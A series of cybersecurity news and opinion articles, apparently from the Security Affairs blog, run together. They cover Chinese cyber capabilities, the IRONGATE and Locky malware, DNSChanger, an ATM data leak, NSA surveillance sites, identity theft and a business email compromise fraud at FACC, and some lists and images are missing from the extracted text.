Of course, while cooperation can create new synergies on the other hand it can creates new monsters. Business from the real world, from high finance, consolidate agreements in cyber space. Hence arise alliances that scare like China – Iran or China-North Korea and even Russia and China., Army Lt. Gen. Ronald L. Burgess, director of the Defense Intelligence Agency, disclosed new details of China’s space weapons programs last week declaring that it includes anti-satellite missiles and cyber warfare capabilities. According Burgess the main real cyber threat is China that apparently is supporting civil projects but in reality is preparing an efficient weapons program., “China’s successfully tested a direct ascent anti-satellite weapon (ASAT) missile and is developing jammers and directed-energy weapons for ASAT missions,” he said.
“A prerequisite for ASAT attacks, China’s ability to track and identify satellites is enhanced by technologies from China’s manned and lunar programs as well as technologies and methods developed to detect and track space debris.”, Analysts estimate that with as many as two-dozen ASAT missiles, China could severely disrupt U.S. military operations through attacks on satellites. China’s Beidou global positioning system satellites will be available for regional users this year and globally by 2020., The Chinese, Russians and also North Korea have developing capabilities to interfere with or disable U.S. space-based navigation, communications, and intelligence satellites., There is another aspect that should lead to concern, the proliferation of these weapons and the simplicity to find them in cyberspace makes possible infiltration of criminals.
The cyber crime is refining its techniques and turns increasingly to the technology sector for the creation of new complex fraud. What could happen if using a process of reverse engineering of a cyber weapon criminals will be able to develop new one?, While governments are confronted in the new cyberspace uncontrollable forces can break patterns and balances, a cross threat without borders before which all countries are still unprepared. Think is enough? Wrong! I purposely left for last the phenomenon of hacktivism. Today we are witnessing an escalation of operations of groups like Anonymous, but I think it unlikely that famous groups can really offend critical structures. I’m more afraid of those who wish we believe it. However, the management of the threat Anonymous involves a significant deployment of energy for its victims., How to explain the risks and dangers that threaten our facilities to persons not involved in the work?, We can identify a multitude of dangers, the technological impetus behind each infrastructure has brought several vulnerabilities. Layers and layers of software levels or components badly developed by third parties that have not followed strict recommendations on security in the design phase, the need for a remote control ever more stringent, vulnerabilities in the authentication processes … and still, malware able to operate silently watching for years the facilities and gathering info for future attacks, exposure of services simply identifiable and that could be impaired by all sorts of attacks (e.g. SLQ injection rather than DDoS), thin perimeter security , sometimes the lack of adequate security policies, and finally the factor of greatest risk, the human factor. Just the human component is often unmanageable, be it an insider or an user that superficially make unauthorized use of storages and supports (e.g. USB token) or circumvents security policies to chat with him girlfriend., When we talk about cyber weapon we have to contextualize it the typical operational scope just described ., The availability of a multitude of information on each possible target. Without resorting to sophisticated OSINT techniques just browse the internet to know the planimetry of a place, critical structures around it, evaluate the response time to an attack by the authorities and even know the type of exposure system runs on a network, vulnerabilities notes and instructions to exploit them. We can also make some research on the companies that has access to the plan, we can collect information attacking contractor usually more vulnerable and the game is done. That is a cyber war scenario, simply as dangerous., I conclude with a reflection on our future that I find extremely significant. While nations such as China, India and Iran are investing to spread knowledge among their young people about methods of cyber defense and cyber offense.
China first is suspected of using patriotic hackers and cyber militias for defense and offense. According to the Financial Times, Nanhao Group, a web company outside of Beijing, has departments tasked for attacks and defense, and this Chinese report mentions cyber militias in Tianjin’s Hexi District. It is completely different the approach followed in Europe, in these countries this kind of information is limited to a small circle of people with distressing consequences, security is oligarchy.
In Italy the person involved in security scenarios are always the same, little innovation and little investments in the future. On long period this attitude will lead to an unbridgeable gap, and we will face with serious problems., Pierluigi Paganini, |
3915_48661 | Earlier this week, FireEye released a report showing a significant decline in cyber-attacks originating from China. According to the report, the attacks started declining in mid-2014 and has continued. According to FireEye, the decline in activity can be attributed to several factors such as the Just Department’s indictment of several PLA officers believed to have been involved in several high-profile attacks against US military interests as well as Preside Barrack Obama’s insistence that China stops its espionage program against the US or suffer economic sanctions. Despite FireEye’s findings, many remain skeptical., According to iSight Partners, the decline in Chinese attacks against the US actually had been declining nearly a year before Chinese President Xi and Obama agreed to a cyber cease fire. In iSight’s analysis concluded that the decline in attacks has more to do with Xi’s crack down in 2012 of hackers profiting from their attacks. Xi has made a crackdown on government and military corruption for financial gain and centerpiece of his domestic policies. It is likely that this crackdown has extended to PLA units and their military handlers as China’s espionage program matures and better managed., Perhaps more intriguing than the decline in Chinese cyber-spying against the US is FireEye’s conclusion that attacks that are occurring are made with more precision. This may lend support to Xi’s overall objective of rooting out corruption is working. Although it can’t be said for sure, it is likely that new PLA tactics are becoming harder to detect as the PLA hardens its abilities and institutes better tradecraft to hide is activities. Even FireEye admits that the level of sophistication and selective targeting by China is now the new normal. There are also other factors to consider., It has long been believed that China has an unlimited supply of Chinese hackers. I myself know that the black hat community in China is very robust, with black hat hacking groups gathering several times a year to share their techniques, tactics, and protocols in and around China’s technology centers. Regardless, there are limitations to the number of attacks that can be carried out by the attackers if the PLA is being more selective in its targeting. It is likely that PLA, or other handlers of non-government black hats, are tightening up its activities as to not draw the attention of President Xi., , The theories for the decline are almost as endless as malware variants but perhaps the most likely scenario is less about President’s Xi’s domestic policies and more about his geopolitical ambitions. In recent years, China has expanded its economic reach globally with a strong focus on South and Central Asia; more specifically, China’s “One Belt, One Road” initiative., The goal behind the initiative is to provide trade routes from as far west as Iran and east to Indonesia. These trade routes that include land and sea transit routes for energy and goods pass through some of the world’s least stable countries. Pakistan and Afghanistan are two good examples, political instability and terrorism are significant risks to China’s goals. Terrorist groups such as the Taliban are heavily entrenched in some of these areas. There are also tribal disputes and other Islamic militants to consider. For this, it is likely that China has shifted its attention from what it feels comfortable knowing, the US, to what it doesn’t., Cyber targeting Kazakhstan, India, and Vietnam may represent far more important sources of information to execute Xi’s long-term ambitions at this moment than the next US military weapon system. If this is true, it may signal Beijing’s desire to take on the US economically rather than militarily., China’s espionage program has often been seen using the least amount of force to compromise its target often exploiting the weakest vulnerabilities first, such as Windows XP, or other unpatched systems, then escalating up. It is likely that the infrastructures in developing countries such as Afghanistan and others along the One Belt, One Road trade routes have weak infrastructures that require little skills to penetrate. It would only make sense that China would use its most sophisticated hacks and hackers for high value targets in the US, shifting a majority of its less experienced hackers on unhardened systems that are easily compromised., Written by: Rick Gamache, Rick Gamache is a freelance writer with 25 years’ experience in the cyber security field. His past work includes the Managing Director of Wapack Labs, CIO of the Red Sky Alliance, and lead FISMA auditor for the US Navy’s destroyer program. Rick has written several high-level cyber and general risk reports with an emphasis on the Nordic countries, India, Russia, and Ukraine and has traveled extensively, speaking on strategic cyber threat intelligence matters as they relate global supply chains., LinkedIn – Twitter – Pierluigi Paganini, (Security Affairs – fabrication-time attacks, backdoor) |
3828_47968 | Security researchers at FireEye have spotted a new strain of malware IRONGATE has been designed to compromise industrial control systems (ICS). The malicious code was designed to manipulate a specific industrial process in a simulated Siemens control system environment., The experts at Siemens have investigated the issue and discovered that it would not work against operational control systems. Another important thing discovered by the experts is that the malware does not exploit any vulnerabilities in the Siemens solutions., The experts discovered the threat while they were analyzing some droppers compiled with PyInstaller, It is notable that two samples of IRONGATE were uploaded to VirusTotal in 2014, but both weren’t detected as malware., The researchers highlighted the fact that there aren’t known threat actors that leveraged on the malware since its discovery, a circumstance that suggests the code could be a proof-of-concept (PoC) or a malware designed to study ICS attack techniques., “In the latter half of 2015, the FireEye Labs Advanced Reverse Engineering (FLARE) team identified several versions of an ICS-focused malware crafted to manipulate a specific industrial process running within a simulated Siemens control system environment. We named this family of malware IRONGATE.” reported FireEye in a blog post., The attack chain starts with a dropper that checks for the presence of virtualized environment used by researchers to analyze the malware., IRONGATE droppers would not run if VMware or Cuckoo Sandbox environments were employed., If IRONGATE doesn’t find a virtualized environment, the dropper serves e .NET executable named “scada.exe.” It is not clear what triggers the MitM payload to install the malicious code. The experts suspect that the malicious payload requires manual execution., , Once a system is infected, IRONGATE searches for all DLL libraries whose name ends with “Step7ProSim.dll” and replaces them with a malicious that allows it to manipulate the associated process., “IRONGATE’s key feature is a man-in-the-middle (MitM) attack against process input-output (IO) and process operator software within industrial process simulation. The malware replaces a Dynamic Link Library (DLL) with a malicious DLL, which then acts as a broker between a PLC and the legitimate monitoring software. This malicious DLL records five seconds of ‘normal’ traffic from a PLC to the user interface and replays it, while sending different data back to the PLC. This could allow an attacker to alter a controlled process unbeknownst to process operators.”, Experts from Siemens noted that the DLLs targeted by the malware are not used is a standard product making impossible an attack in a real world scenario., Probably the most interesting discovery made on the IRONGATE malware is its similarity with the popular Stuxnet, according to FireEye both malware target a specific process and use to replace DLLs to manipulate the process., Below the differences between the two ICS malware:, Let’s hope that IRONGATE will never evolve in a real threat and will never be used by threat actors in the wild., If you appreciate my effort in spreading cyber security awareness, please vote for Security Affairs as best European Security Blog. Vote SecurityAffairs in every section it is reported. I’m one of the finalists and I want to demonstrate that the Security Affairs community a great reality., Thank you, Pierluigi, Pierluigi Paganini, (Security Affairs – Stuxnet, ICS malware) |
188_4713 | Summary of previous episodes, In beginning of the year a news circulated on internet regarding the planned blackout of Internet for millions of users on March 8th decided by FBI to deal with DNSChanger Trojan. The action must be done to stop the diffusion of the malware that has infected millions of computers all over the world in more than 100 countries. The story begins in November 2011 when in Estonia was arrested a group of person accused of having developed the dreaded trojan that seems to be able to spread with surprising ease building a scary botnet., The botnet operated by Rove Digital altered user DNS settings, pointing victims to malicious DNS in data centers in Estonia, New York, and Chicago. The malicious DNS servers would give fake, malicious answers, altering user searches, and promoting fake and dangerous products. Because every web search starts with DNS, the malware showed users an altered version of the Internet. Once discovered the cybercrime the FBI to give businesses and private individuals affected by DNSChanger time to cleanse infected systems has replaced the Trojan’s DNS infrastructure with surrogate, legitimate DNS servers. Replacing the command server the feds have prevented the worm propagation. The FBI took over the botnet’s command-and-control (C&C) servers in November as part of Operation Ghost Click., , In a fist time, under a court order, expiring March 8, the Internet Systems Corporation planned the replacement DNS servers for the Rove Digital network. This will allow affected networks time to identify infected hosts, and avoid sudden disruption of services to victim machines., Despite the calls provided by the press and the major law enforcement, the situation is far from reassuring, because too many PCs are being infected and potentially damaged by the planned blackout. More than 3 million PCs worldwide were still infected with DNSChanger in March 2012, so authorities extended the period before the planned shutdown of the surrogate servers., In March a federal judge has postponed, with an order, the blackout of the surrogate servers of 120 days (until July 9, 2012) to give companies, businesses and governments more time to arrange the response to the threat., Today, To meet the threat was also set up a special task force, DNS Changer Working Group, to provide support for private companies and were given the necessary instructions to the removal of malware on the site DCWG.org., The Group is monitoring malware diffusion and manage a website that provide updated info on the threat giving instructions on how to remove it. It has also created a website that allows you check if your computer is infected and the links to the removal tools available on the market., , Following a short list of removal tool, The FBI has also created a web page to check if our computer is using a rogue DNS, simply providing its ip-address. In January 2012 the DCWG estimated that 450,000 computers were still infected with DNS Changer, but what is the situation today?, , While the shutdown may results shocking to the victims, I believe it is the proper action to do to fight the malware. I haven’t found on internet update statistics, the observed trend let us believe it has been mitigated. I don’t understand the alarming posts published on internet and on several newspapers, surely the problem of botnet and malware must be shared and awareness on the threat is fundamental but I find inappropriate to shout to the “Internet blackout” for millions of machines., The phenomenon of development of botnets is increasing and it’s considered one of the main cyber criminal activities, the approach to the specific malware must be the same followed for other ones. Botnets and malware are a cancer and must be approached immediately, I don’t approve the decision to keep alive rogue servers., Managing a network of servers in my judgment, however, presents additional risks. History has taught us that no infrastructure is safe, the Pentagon’s networks are for admission of the government, been hacked several times, on several occasions Anonymous groups have made fun of defense systems of private companies and government agencies. Imagine what would happen if the control of the network of rogue servers ended up in the wrong hands, allowing, for example a massive diffusion of more malicious and dangerous malware.
Well, the decision to postpone the shutdown of the servers could open the door to much more serious scenario., Pierluigi Paganini, , |
1503_28666 | Photos published by the journalist Erich Möchel in a blog post seems to confirm the presence of an NSA surveillance infrastructure, mentioned in the Snowden’s leaked documents “Vienna Annex”, in the attics of IZD Towers next to the UNO-City., , In the head of this film, the NSA “Vienna Station” and the “Vienna Annex” are explicitly mentioned. One of the acronyms that are listed right under “FORNSAT” must stand for the king waiting. Under “FORNSAT” are to be understood spy satellite stations which are not operated by the NSA itself., According to the journalist the NSA has deployed a monitoring station in Vienna used for listening in on what’s happening at the UN complex, the structure in fact is not far from the UN headquarters., The photos show a hut on the roof, which cannot be seen from the street, that is enclosed by solid steel bars and protected by a significant video surveillance system equipped with a ten cameras., , Möchel explains that the hut appears like “a maintenance building”, but speculates that it hides equipment used by the US intelligence to monitor mobile networks., “Since the completion of the tower end of 2001, there resides the U.S. Mission to the United Nations. On the roof is located at a height of about 130 meters, the same structure as on the roof of the U.S. embassy in Vienna’s 9th district. In both cases, as “building maintenance” camouflaged house has a floor area of about 15 square meters. From the ground, it is virtually undetectable, because it is slightly offset behind the characteristic protrusion of the upper floors of the IZD Towers. The cottage is directly aimed at the building of the United Nations headquarters.” Möchel wrote., He added that together with the US Embassy in Vienna’s 9th district and the ‘NSA villa’ in Pötzleinsdorf which is also assumed to be a listening post, the NSA could be spying on the whole city., “The small bowl right in the picture is an ordinary satellite TV dish. Even it can draw a conclusion, namely that the entire Annex station is not connected to the UPC cable TV, standing in IZD Tower available.” states the journalist., , In the below image is visible in the top left an omnidirectional antenna:, “identical antennas can also be found on the roofs of other U.S. agencies. On the far right is a mobile phone mast.” states the post., , , This antenna is used also for local communications, locating it on the roof of IZD Towers it is able to cover a wide area which includes the U.S. embassy in Vienna in 1090 and the so-called “NSA-Villa” in Pötzleinsdorf (18th district). , “From their location so forth exist between these three “points of presence” very good radio conditions.”, The building used by the NSA can hide an IMSI-Catcher, in my recent post I explained how use such devices to track cellphone on a global scale., The journalist speculated that the roof of the tower is at 100 meters in a straight line with the United Nations headquarter, a privileged position to intercept communications with one of the numerous spy tools detailed in the NSA catalog, Last year the journalists Glenn Greenwald and Stefania Maurizi discovered similar structures also in Italy, and provided further information on the surveillance network that is extended to many other European cities, including Berlin and Milan. Below the image of the hut located in Rome., , In time I’m writing the US embassy declined to comment on the allegations, as did the Interior Ministry., Pierluigi Paganini, (Security Affairs – NSA, Intelligence, surveillance) |
192_4843 | Every day we exchange personal information with colleagues, friends and unknown people with no idea how they are treated and for what use they will be managed. Telephone number, email address or driver’s license number are example of the data we provide ordinary using new media channels like internet and the social networks., The use of this information is of great interest for the industry of crime because it is possible to commit a wide range frauds with high profits., With the terms Identity Theft and identity fraud are referred all types of crime in which an ill-intentioned individual obtains and uses another person’s personal data, this kind of crimes are increasing according the data provided by law enforcement all over the world., Many organizations have tried to provide a characterization of the phenomenon trying to classify the types of identity theft in categories., SANS Institute proposed the following characterization:, How do identity thieves access personal information? , There are a lot of scenarios to access to personal information and identify them is necessary to recognize and prevent this type of crime. Most common case are:, , But how widespread is the crime and what are the figures that show its growth?, A global precise estimates of phenomenon is impossible due to the different legal treatment reserved for this type of crime in different countries, however, to provide a valid indication I extrapolated some data from the “2012 Identity Fraud Report 2011” study conducted by Javelin Strategy & Research. The company collects data related to US citizens to measure the overall impact of identity fraud on consumers., In the next graphics is presented the progress of the Incident Rate from 2003., , , The situation is worrying, 4.9% of U.S. Adults Were Victims of Fraud in 2011. After a sensible reduction of identity fraud incidence from 2009 to 2010, we see an increase this year of more than 10%. ID fraud increased to 4.90% in 2011 from 4.35% in 2010, which represents a 12.6% increase. The total number of identity fraud victims increased to about 11.6 million U.S. adults in 2011, compared to 10.2 million victims in 2010., Despite the growth of incidents for for ID fraud, the annual overall fraud amount was at its lowest point of $18 billion since 2003 attributable to the rapid increase of thefts characterized by lower profits., Particularly alarming is the growth of such crimes in computers. Which are the information that compose our digital identity?, On the Internet, our identity composed by:, The data are continuously exposed to high risk of frauds, the propensity of Internet users to the usage social networks and the rapid spread of mobile platforms create the right conditions for criminals., Unlike the classic identity theft, for digital theft victims don’t have to wait for a thief to physically steal their information that can be stolen by computer criminals from the databases of banks, retailers, ISPs and also from victim’s PC., In internet researches have identified three main schemas to realize identity thieves, According a Gartner Study on Internet identity theft, based on a survey of 5000 U.S. adult Internet users, it has been estimated that:, It ‘clear that the figures mentioned are a great attraction for criminal organizations that are devoting substantial resources and investments in the sector. An increasing component of organized crime is specializing in this kind of activity characterized by high profits and low risks compared to traditional criminal activities. In the US The Federal Trade Commission is monitoring the phenomenon of Identity Theft with main national agencies promoting several activities to aware the population regarding the risks derived to the crime exposure., According to the guidelines provided by the Federal Trade Commission the fight to the identity theft crime must be articulated in three phases, the prevention, the detection and the resolution., The prevention actions are different mainly based on the awareness on cyber threat and a constant monitoring of real exposure of personal information. It’s essential that population, and in particular internet user must know the threats related the divulgation and the improper usage of their data., Personal information must be protected and citizens must be aware of the real usage of their info once provided., The protection must be completed with detection actions, operations that must be in place to discover the identity thefts and frauds. Constant alerts and bulletins must be provided by the law enforcement every time a new fraud is detected. Private sector and government institution must cooperate to realize program and project to contain this type of crime supported by an adequate legal framework providing for severe penalties for these offenses., , Let’s try together to apply the model to two of main worrying scenarios, mobile and social networking. To prevent fraud and identity theft in mobile device usage let’s follow simple best practices:, Regarding the user’s behavior to have during the frequentation of social networks:, Prevention is better than cure, Pierluigi Paganini, |
7497_78667 | However, cybercriminals target some industries at disproportionally high rates. Here are four of them:, Since health care professionals deal with life-or-death situations, cyberattacks could hinder both productivity and patient care to a tremendous degree. Some attacks shut down entire health systems comprising multiple facilities or forcing affected individuals to switch from computerized processes to using pens and paper., The medical industry faces an exceptional risk for cyberattacks because there are so many players involved in the sector. More than 83 percent of organizations responding to a recent survey reported making new or improved organizational security enhancements., That’s notable progress, but analysts also worry about the potential for attacks that don’t directly target hospitals or similar organizations. Recent demonstrations from cybersecurity researchers have shown how it’s possible to hack into medical devices like pacemakers or insulin pumps., There are also instances of hospitals being unable to perform fundamental services. In November 2018, a ransomware attack forced two hospitals to send ambulances elsewhere and only accept walk-up patients to the emergency rooms., Hackers know they can wreak substantial havoc by attacking hospitals, thereby increasing the potential for notoriety. It doesn’t hurt that those organizations keep medical records containing valuable information hackers could sell on the black market. One instance with North Carolina-based company Atrium Heath potentially breached the data of 2.65 million people., Nonprofits typically focus their efforts on causes that improve society at large, at-risk groups and others in need. However, cyberattacks could thwart all those intentions to put energy toward the greater good. Research indicates cyberattacks threaten nonprofit organizations for various reasons., Data from 2017 found only 27 percent of nonprofits broke even that year. So, if nonprofit leaders want to devote more money to cybersecurity, they may feel too financially strapped to make meaningful progress. Plus, many nonprofits have small teams of hired employees and rely heavily on volunteers otherwise. That bare-bones staffing structure could make it harder than average for nonprofits to recover after issues happen., Also, nonprofits may feel overwhelmed about where to start as they learn about cybersecurity. Fortunately, some products geared toward nonprofits have robust integrated security. Volgistics is a company associated with volunteer management that serves 5,121 organizations. A section on its website details the online and offline measures taken to keep customer data safe., The retail industry is cyclical, so certain times of the year — including the holiday season or when kids go back to school — are particularly busy. Plus, cybercrime problems could take websites offline or cause reputational damage. Despite those risks, retailers make blunders when budgeting for cybersecurity. A recent report found 50 percent of all data breaches in the U.S. happened at retail establishments., The study also determined that entities spend the most money on cybersecurity measures considered among the least effective. No matter what, it’s crucial for the retail sector to take cybersecurity seriously. Research from Gemalto found 70 percent of people would stop doing business with companies that suffer data breaches. So, failing to conquer the problem could lead to profit losses in unexpected ways., People rely on banks to do daily transactions for business or personal reasons. And, since financial institutions have extraordinary amounts of money on hand, it’s not surprising they’re prime targets for cybercriminals. Even financial industry businesses that don’t store so many financial resources on site — such as wealth management companies — keep documents filled with clients’ personal details., The financial sector is also so potentially lucrative for hackers that they may set their sights on carrying out attacks on ATMs in multiple countries. Sources report a North Korean hacking group known as Lazarus is believed to be behind attacks in 23 countries totaling tens of millions of dollars., There’s an emerging trend of banks hiring ethical hackers to find vulnerabilities and test existing safeguards. That’s a practical way to address cybercrime risks, but it’s an approach that’ll likely become increasingly harder to choose. That’s because there’s already a gigantic cybersecurity skills gap consisting of hundreds of thousands of open cybersecurity positions, and forecasts say the shortage will get worse., , Any sector that uses the internet to conduct business could become a cybercriminal’s target., Although the industries mentioned here need to take particular care to prevent issues, proactive steps taken to fix problems and monitor for suspicious issues could keep all companies safer from cybercrime., Kayla Matthews is a technology and cybersecurity writer, and the owner of ProductivityBytes.com. To learn more about Kayla and her re, Pierluigi Paganini, (Security Affairs – Cybersecurity, cyberattacks) |
1788_31799 | There is no peace for the companies operating in the gaming industry. During Christmas holidays, the hackers of Lizard Squad brought down the PSN and Xbox live services, while yesterday the hacking crew H4lt leaked the Xbox One SDK online that could let experts to develop their own Homebrew Apps and run them on the popular gaming console., The last bad news in order of time is for the gaming community of the Electronic Arts, many Gamers are finding purchases that they didn’t make accredited their accounts for Electronic Arts ’ Origin service., The anomalous transactions have not been claimed by any group of hackers, experts believe that they can be the result of previous breaches of popular gaming services. The investigators don’t exclude that the hackers have stolen the account credentials from other networks and websites. The affected users may have shared their credentials within multiple web services and one of them has been hacked., Many websites in the underground sell entire archives of stolen credentials, information related to users of the PlayStation Network, Windows Live, and 2K Games servers was leaked online in November., , Four months ago a whistleblower revealed to Kotaku that the forum board Firemonkeys was hacked compromising more than 40,000 users. The whistleblower spread the news through Reddit, he published a post called “Of Corruption in the Australian Games Industry” following the strong call for transparency and disclosure from the#GamerGate movement, “During my tenure at a large publisher, our community forum was hacked, and the information of over 40,000 members (including names, and email addresses) was downloaded and stolen. The publisher suppressed this information. When my contract had expired I approached a writer about this, and he declined to publish the story because he was close friends with people who work at this publisher and the publisher’s local office.” said the whistleblower., According to the experts, the hackers exploited a known flaw in the Vbulletin CMS., In these days, several gamers are reporting that their Origin accounts seem to have been hacked.Dozens of people reported unauthorized activity on gaming networks., The suspicious activities were reported to the Electronic Arts by Venture Beat:, “We found no indication at this point of a breach of our Origin account database. Privacy and security of user account information are of the utmost importance to us. We encourage our players to use Origin user ID and passwords that are unique to their account and to report any activity they feel may be unauthorized to EA customer support at help.ea.com.”, “For both Origin and Steam, it is possible that the hackers did not get into EA’s or Valve’s respective servers. Instead, it is likely that this activity is the result of one of the recent publicized attacks, and hackers are trying email and password combinations on other sites.” continues Venture Beat., It is suggested to the Electronic Arts Origin users to reset the password, to enable two-factor authentication for their accounts and to report any suspicious activities., Pierluigi Paganini, (Security Affairs – Electronic Arts Origin, cybercrime) |
2966_41651 | The security researcher Benjamin Kunz-Mejri, CEO of the Vulnerability Lab, discovered that ATMs at the German savings bank Sparkasse can leak sensitive data during software updates., The discovery of the anomaly was casual, Benjamin Kunz-Mejri was was using the ATM when it ejected his card and resulted “temporarily not available.” The expert tried to interact with the ATM and observed a Windows command prompt showing on ongoing update process, he took a video of the information displayed on the terminal., The change of the status was caused by a software update, and the researcher used the term “timing attack” to describe his interaction with the ATM., He was surprised that the ATM keyboard was not disabled, allowing an attacker to execute system commands via the command prompt. He also noticed that the card reader remained usable during the update process., , Video recording has allowed the expert to analyze the information displayed on the screen, he noticed that many sensitive data was revealed, including the bank’s main system branch usernames, serial numbers, network and firewall configurations, device IDs, ATM settings, and two system passwords., The ATM machines analyzed by the researcher are manufactured by Wincor Nixdorf, one of the most important company of the retail and banking industry. The flawed terminals are running Windows 7 and Windows XP operating systems. It is likely that other banks which are using the Wincor Nixdorf ATMs might be affected as well., The experts warn about a large scale attack coordinated by a criminal ring in conjunction with a planned update, they described the following possible attack scenarios:, The Vulnerability Lab reported the security issue to Sparkasse’s Security and Data Protection team in May, the flaw was confirmed after the vulnerability report was received by the internal Finance Security Center., The Sparkasse bank has already pushed out updates that fix the issue to a limited number of ATMs in the city of Kassel. The purpose is to run further tests before issuing the update to all the ATMs used by the organization., It is the first time that a German bank admits the security vulnerability in an ATM and reward the researchers., Pierluigi Paganini, (Security Affairs – ATMs , banking) |
3719_47093 | According to the security expert Sven Carlsen from Avira, hackers have dismantled a Locky campaign by hacking the command and control server. Carlsen explained that threat actors behind the Locky campaign spread the threat via spam email with a malicious attachment., The attachment was a downloader that fetches the Locky ransomware from a server generated with a domain generation algorithm (DGA) and executes it., While the researchers from Avira were analyzing the threat discovered that the downloader fetches a 12b string containing the message “STUPID LOCKY,” instead the Locky Ransomware binary. Of course, this causes the failure of the attack resulting in an error message being displayed., , What happened?, Most likely hackers breached a server used by the threat actors to host the malware and replaced the code of the Locky ransomware with a harmless file., “It seems that someone was able to access one of the command and control servers and replaced the original Locky ransomware with a dummy file. And I do mean dummy in the fullest expression of the word.” Carlsen wrote., In the past, other cyber vigilantes have disrupted the hacking campaigns of crooks, Earlier 2016, white hats have attempted to shut down the distribution channels of the Dridex botnet and replaced the malware with a clean copy of an Avira antivirus application., “I don’t believe that cybercriminals themselves would have initiated this operation because of the potential damage to their reputation and income stream. I also wouldn’t say that ‘Locky is dead’ after this operation,” Carlsen added. “As we know, they are still active and understand their ‘business’ very well. But after the examples of Dridex and now Locky, it shows that even cybercriminals, masters of camouflage, are also vulnerable.”, Like the CryptoWall ransomware, Locky uses to change the filenames of encrypted files to make harder data recovery., When started, Locky creates and assigns a unique 16 hexadecimal number to the infected machine, then he will scan all drives and unmapped network shares for files to encrypt., The malware uses the AES encryption algorithm and encrypts only file with extensions matching a certain criteria while it skips files containing certain strings in their full pathname and filename (i.e. tmp, winnt, Application Data, AppData, Program Files (x86), Program Files, temp, thumbs.db, $Recycle.Bin, System Volume Information, Boot, and Windows)., Locky is able to encrypt more than 160 different file types on compromised PCs and victims are asked to pay between $220 and $880 to recover their documents., The Locky ransomware encrypts files renaming the to unique_ididentifier.locky, the researchers also discovered that the unique ID and other information are embedded at the end of the encrypted file., The malware will also delete all of the copies of documents in the Shadow Volume, making impossible to restore files., Locky leaves a ransom note, the _Locky_recover_instructions.txtin, in each folder containing encrypted files., Stay Tuned!, Pierluigi Paganini, (Security Affairs – ransomware, cybercrime) |
1276_25855 | The American multinational telecommunications corporation AT&T confirmed to have suffered a data breach last April, personal information of an unknown number of users was accessed by employees of one of its contractor., AT&T has already notified some of its mobile customers of the data breach, Social Security numbers, birth dates and call records of an unknown number of users between April 9 and 21 were exposed., , AT&T sent a notice to the California Attorney General explaining the dynamic of the incident, the contractor’s employees who were responsible for the data breach were already terminated., “We recently learned that three employees of one of our vendors accessed some AT&T customer accounts without proper authorization,” “This is completely counter to the way we require our vendors to conduct business.”, “We know our customers count on us and those who support our business to act with integrity and trust, and we take that very seriously,” AT&T continued. “We have taken steps to help prevent this from happening again, notified affected customers, and reported this matter to law enforcement.” AT&T said in an official statement., It seems that the attackers were interested to request codes that can be used to unlock AT&T phones. An account could be unlocked by AT&T when the following conditions are respected:, “AT&T believes the employees accessed your account as part of an effort to request codes from AT&T that are used to unlock AT&T mobile phones in the secondary mobile phone market so that those devices can then be activated with other telecommunications providers.” reported AT&T in the notice. , AT&T, to preserve its customers, announced that it is offering affected accounts a year of free credit monitoring and is recommending that people change the passcode., Pierluigi Paganini, (Security Affairs – AT&T, data breach) |
121_2725 | I have just read the news that Iran will be banned the purchase of antivirus systems, a kind of technological embargo with clear reference to the virus Stuxnet and the need of the country to prevent further infection to any control systems of critical infrastructures, nuclear plants first., The new has been made public by FARS news agency, Iranian Deputy National Security Minister for technical issues Ahangaran said Iran is being forced to design its own anti-virus software due to the sanctions. Ahangaran said that Iran can not update antivirus programs and combat Internet viruses because of the imposed sanctions., International sanctions will stop the Government of Teheran to from obtaining anti-virus software, according to a senior Iranian intelligence official. At this point it is clear in my opinion the cyber strategy against the Iran, Western governments have always denied any attribution of authorship of the powerful cyber weapon, but in this way they are doing ground burnt around Teheran., , This information, in addition to reinforcing the belief that the dangerous virus has been developed by Israeli agents and / or U.S., suggests that this Contries in cyber space are focussing their efforts on a first offensive war against Iran. Are we close to a new escalation of cyber attacks against Iran?
Recall that in recent months it has been discovered that Stuxnet was only just a product of an innovative platform for the development of malware defined “tilded platform” and certainly the innovative designers behind its production are still engaged in the project of new agents. Is the time to use them?, I find the penalty somewhat questionable for the following reasons:, Sanctions such as these under discussion have a symbolic value, a provocation to which it is expected a reply to justify a military operation, this is the new Cold War. It might expect a response of Teharan especially on the energy sector, the Iranian government knows the difficulties that are facing the west countries and the weight on their future of the oil crisis., While I’m writing news agencies spread the news that Iran has decided to stop selling oil to the French and British oil companies. This was announced by the spokesman of the Iranian Ministry of Petroleum, Alireza Nikzad, quoted by the official website of the Ministry.
“The sale of British and French oil companies is suspended,” said Nikzad., In recent days, Iranian sources had announced the suspension of oil supplies to several European countries, including Italy., Is the drop of oil that will break the glass?, Pierluigi Paganini, |
3293_43880 | I always remark the importance of cyber security in a business context, a proper cyber security posture is important like the finances of a company., A cyber security incident could have serious effects on the business continuity of any company and a significant financial impact., Today I desire to report you the case of the Austrian company FACC, which design and manufacture components for aircraft and aircraft engine manufacturers, including Airbus and Boeing. Aviation industry is a privileged target for hackers that are interested in the intellectual property of many companies in the sector., , Hackers who targeted the FACC managed to steal roughly 50 million euros as confirmed in the official statement issued by the company on January 19th:, “Today, it became evident that FACC AG has become a victim of a crime act using communication- an information technologies. The management board has immediately involved the Austrian Criminal Investigation Department and engaged a forensic investigation. The correct amount of damage is under review. The damage can amount to roughly EUR 50 million. The cyberattack activities were executed from outside of the company.”, A subsequent update issued by FACC AG offered more details of the cyber attack and confirmed the losses of more than 50 million euros. The experts at the company confirmed that the cyber attack was launched from outside and involved communication and information technologies., According to the company, the operational business was not affected by the cyber attack., “2016 FACC AG announced that it became a victim of fraudulent activities involving communication- an information technologies. To the current state of the forensic and criminal investigations, the financial accounting department of FACC Operations GmbH was the target of cyber fraud” states the FACC., “FACC’s IT infrastructure, data security, IP rights as well as the operational business of the group are not affected by the criminal activities. The damage is an outflow of approx. EUR 50 mio of liquid funds. The management board has taken immediate structural measures and is evaluating damages and insurance claims.”, According to the experts and analyzing the official statement published by the company, threat actors conducted a Business Email Compromise (BEC) scam against the internal personnel., Exactly one year ago IC3 and FBI warned about a significant increase of cases related to Business Email Compromise, nearly 2,000 individuals were victims of a wire payment scam., The Business Email Compromise (BEC) is a sophisticated scam targeting businesses working with foreign suppliers and/or businesses that regularly perform wire transfer payments. Formerly known as the Man-in-the-E-mail Scam, the BEC was renamed to focus on the “business angle” of this scam and to avoid confusion with another unrelated scam.” reports the statement., The fraud scheme is very simple, busy employees received a request to transfer funds by representatives of high management of their company., It is clear that businesses and personnel using open source e-mail are most targeted by Business Email Compromise, in many cases the criminals spoofed e-mails of individuals within enterprises who are entitled to submit such payment 